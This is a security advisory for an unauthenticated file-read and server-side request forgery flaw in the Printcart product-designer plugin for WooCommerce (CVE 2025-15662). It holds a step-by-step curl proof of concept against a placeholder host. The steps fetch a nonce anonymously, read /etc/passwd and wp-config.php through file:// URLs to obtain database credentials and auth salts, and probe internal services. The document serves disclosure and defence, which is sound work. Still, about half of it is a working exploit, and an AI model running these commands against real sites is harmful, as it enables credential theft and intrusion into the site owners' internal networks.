Printcart Web to Print Product Designer for WooCommerce < 2.5.3 – Unauthenticated Arbitrary File Read and Server-Side Request Forgery | CVE 2025-15662

Description

The plugin does not restrict a user-supplied URL before fetching it server-side and does not enforce a valid authorization check, allowing unauthenticated attackers to read arbitrary local files (including configuration files containing database credentials and secret keys) and to make server-side requests to internal resources.

Proof of Concept

Prerequisites: default install (the plugin requires WooCommerce active). No authentication, no configuration.

# 1) Obtain the required nonce as an anonymous visitor — a nopriv handler hands it out to unauthenticated callers:
NONCE=$(curl -sk "https://victim.example/wp-admin/admin-ajax.php?action=nbd_check_use_logged_in" | jq -r '.nonce')

# 2) Read an arbitrary local file (outside the web root). The fetched content is saved to a
#    public file whose URL is returned in `src`:
SRC=$(curl -sk "https://victim.example/wp-admin/admin-ajax.php" \
  -d "action=nbdesigner_copy_image_from_url" -d "nonce=$NONCE" \
  --data-urlencode "url=file:///etc/passwd" | jq -r '.src')
curl -sk "$SRC"      # -> root:x:0:0:...
# Use url=file:///var/www/html/wp-config.php to retrieve DB credentials and auth salts.

# 3) Server-Side Request Forgery to an internal target — the response body is returned at `src`:
SRC=$(curl -sk "https://victim.example/wp-admin/admin-ajax.php" \
  -d "action=nbdesigner_copy_image_from_url" -d "nonce=$NONCE" \
  --data-urlencode "url=http://127.0.0.1:8099/" | jq -r '.src')
curl -sk "$SRC"

Notes: the fetch sink uses @copy() (which honours PHP stream wrappers such as file://) with a fallback to a raw wp_remote_get() (not wp_safe_remote_get(), so WordPress's internal-IP SSRF protections are bypassed). The written file is a server-generated name with a forced image extension, so this is NOT an arbitrary file write; the write only serves as the reflection channel for the read/SSRF.